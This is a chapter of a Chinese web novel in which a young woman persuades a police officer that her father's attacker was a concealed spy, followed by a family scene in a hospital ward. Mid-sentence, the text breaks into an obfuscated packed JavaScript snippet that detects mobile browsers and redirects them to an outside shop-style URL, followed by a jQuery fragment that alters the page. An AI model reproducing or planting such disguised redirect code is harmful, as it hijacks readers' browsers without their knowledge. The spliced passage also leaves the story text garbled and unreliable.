那当真是一个极为大胆,甚至颠覆性的猜测。
“万总。”
“我们这行有一句话,排除一切不可能,剩下的再不可能也是真相。”
“嗯?”万山晴挑挑眉,十指交叉往座椅后靠,“说来听听。”
“凶手出手行凶,既不是为了劫走锅炉,也不是为了抢劫你爸爸身上带着的大量钱和票。”
不等回答,又直接道:“他是为了保护他运的那批货。”
万山晴摩挲了一下指尖:“要知道,当时市面上九成九的商品,价值都比不上那口锅炉和531元的钱和票。”
“可无论如何,都找不到那口锅炉和钱票的销赃去向,不是吗?”
“万总。”他坐直身体,声音缓慢,“对某些背叛国家,或者隐藏身份的人来说,命可比钱重要得多得多。”他相信后续多年的追查中,不是没有人考虑到这个方向,只是没有结果前,唯有他的身份,才方便将猜测透露一二。
尤其是对一位持之以恒追查真凶的家属。
就是可惜……时隔太久了。
“师父!”年轻人失声,满面错愕中又透着压不住的狂热。
赵公安也是头皮蹿过激麻,猛然低头,才发现小姑娘始终凝视他,眼神如一面冬日静湖。
他表情倒是镇定自若,心头却噗噗地跳,脑海中无数细节和线索闪过。
追查不到赃款和赃物,之前的思路,他也不是无的放矢。
一是有先例,曾有人内外勾结,假装遇到车匪路霸,实际私吞国家财产。
二是对锅炉压力容器这种按吨算的设备来说,非业内人士,送给他都没办法,无法运走,无法拆卸,难以售出,除非提前有安排接应和买家,否则不可能查不到一丝销赃的痕迹!
无论谁查这个案子,都会第一时间往这个方向思考。
万山晴点破:“赵公安,至今为止都查不到不是吗?”
不止现在,后续也没有找到线索和真凶。
“你知道这个可能性有多小吗?”赵公安话是这么说,但实在无法压抑对这个诱饵的心动,抓一个特务啊。
信仰和前程,同时在考验他。
万山晴并不在意他的话,反而笑了笑:“万一是真的呢?”她察觉了,赵公安看她的目光真正有了变化,她恍若听到擂鼓一样的心跳。
竭尽全力去追查吧。
倘若应了那名句,排除一切不可能……对赵公安而言,何尝不是一份大礼?
走廊尽头的角落里。
万山晴以推断的口吻,将刻在脑海里的线索与疑点,与三位公安同志一一诉说。
比如他父亲有上车前、绕车一周检查的习惯,腰间还习惯别一把螺丝刀,一把加长大扳手,一长一短,以方便护身。
“万总,假设咱们的推断是真的,这个看似正常的动作有多可疑,会让副驾跟车的人多心惊肉跳,你知道吗?螺丝刀完全可以悄无声息撬开一个木箱的缝隙……”
万山晴耳边仿佛还回荡着那人的声音,边回忆边道:“还有上车后,我爸与对方闲聊手下这辆解放牌货车如何如何,还问对方那边的车相比怎么样?”
“倘若心里有鬼,听着像不像试探?毕竟真正二道贩子常年跑运输,不可能对车没概念。”
……
赵公安听着听着,把笔记本又摊开,端在手中,时不时记两笔,眉头时而拧紧、时而放松地凝重起来。
两个年轻公安,眼里也闪动着踌躇满志、建功立业的渴望,烧得比太阳还烫。
“有没有兴趣来我们单位上班?”赵公安实在忍不住开口问。
他越听越觉得眼前小姑娘心细得吓人,什么边边角角都能考虑到,这个特务为掩人耳目,做出“车匪路霸”假象的说法,不是无根浮萍,完全立得住!
万山晴婉拒了这份邀请。
她可没有探案天赋。
惟愿此次,能将真凶绳之以法!
“拜托您了。”
对赵公安说完,又满眼诚恳,同俩年轻徒弟:“也拜托你们了。”
两位年轻同志:!
微微挺直腰板,脸色止不住涨红。
送走赵公安三人。
万山晴回到病房,堵住心口的一块沉甸甸大石头松动,让她升起了期待。
期待起未来的日子。
这不仅是对她,对家人也是莫大的慰藉。
尤其是爸爸,事件性质不一样,对他的情绪来说,有非同一般的意义。
骤然残疾,本是令人绝望的重大打击。
外人的态度、视线、言论,是洗不干净的怀疑,还是揪出了一个特务……真的只需要一点点,这一点点精神慰藉太重要了!
哪怕只是有个清白也好。
万山晴刚回来,就被熟悉的食物香气无声包裹,脸色也温柔了下来。
就见妈妈指挥姐姐喂粥,气哼哼地念叨:“多喂两口,对就这样,没胃口也得吃点东西。我跟你说,你可得好好养伤,早点好起来。你都不知道,这才几天,就有人欺负你宝贝闺女了!!小晴来的时候,扑我怀里掉泪珠子呢,眼泪汪汪的,多委屈。”
万山晴:“……”
她全程埋着头,咋看得见她眼泪汪汪的?
妈,咱可不兴这样式的!
忍不住抠了下脚趾。
她赶紧两步,赶紧塞了一块葱油饼进妈妈嘴里,“妈,吃点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792203|190487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东西。”见她眼角因疲惫明显的纹路,心疼道,“等会儿我和姐姐在医院看着,妈你回去洗个澡好好睡一觉吧。”
“这等会儿再说,刚刚你姐说,有事要跟我和你爸说?”程淑兰咬了一口葱油饼,看爱人一双眼怒而瞪大,恨不得马上爬起来的表情,满意地点点头。
心想,小晴这点还是不像她。
这会儿跟她打个配合,趴到她爸身上红着眼睛委屈抹两滴眼泪,再喊声小闺女哽咽的“爸爸~”
卫国同志心肝儿不得疼的颤两颤?
旁边病床的病人,刚刚被公安同志打发出去避嫌了,这会儿回来,闻着那股劲道儿的葱油香,下意识吸了吸鼻子,嘴巴里口水都分泌出来。
越往里走靠近他的病床,那股诱人的香味就越浓郁。
程淑兰还在捧着一张饼在吃。
那油香又点缀满小葱的饼一下就黏住了他的眼睛,忍不住咽了咽口水。
野小葱!
这绝对是湖边摘的野小葱,香成这个样子,除了他们潭市湖边野地里长的,没有别家了。
万山红热的时候,用家里的铁锅两边烙了烙,把外皮烙得酥脆,“咔嚓”一声。
“那个……”病友忍不住开口,又感觉不对,仓促改口,“你家这是摘的哪儿的小野葱?”好香啊。
程淑兰热情回了一句:“就锅炉厂附近的那个野芷湖,那湖大,我家闺女学校老师说了,大湖昼夜温差大,小野葱香。”
“哦哦哦。”病友点点头,狠心挪开视线,“多谢大姐了。”
万山晴见他喉头滚动个不停的模样,心里有些好笑,又满心理所当然。
她妈妈做饭可香、可好吃了,吃同样的东西,她和姐姐就是能馋得小伙伴哇哇大哭。
心中极快的划过一个念头。
被妈妈的喊声打断:“小晴,咱把这儿收拾收拾,然后也聊聊天,开个小会。”安慰到,“前两天没顾上,也给你俩说说家里情况,安安心,别在家心慌,爸妈都在呢。”
“来了。”万山晴把吃过的饭盒盖起来,放回袋子里。妈妈则拧了个热毛巾,先擦了擦手,又趁热乎给爸爸擦了擦脸。
万山红把粥桶盖好,坐到床边。
妈妈握住她的手。
万山晴则拿出要签字的资料,也坐过来,她知道妈妈想说什么,就像梁姨早早看穿的,妈妈心疼她们,哪个女儿都舍不下。
但不可能的,谁能靠做点零碎活,撑起这么一大摊子事呢?
“妈,我先说!”她抢先开口。
她把接班的两个表,放到被子中间,率先道:“我和姐姐商量好了,先把厂里班接上,有了工资咱一部分还债,一部分花用。”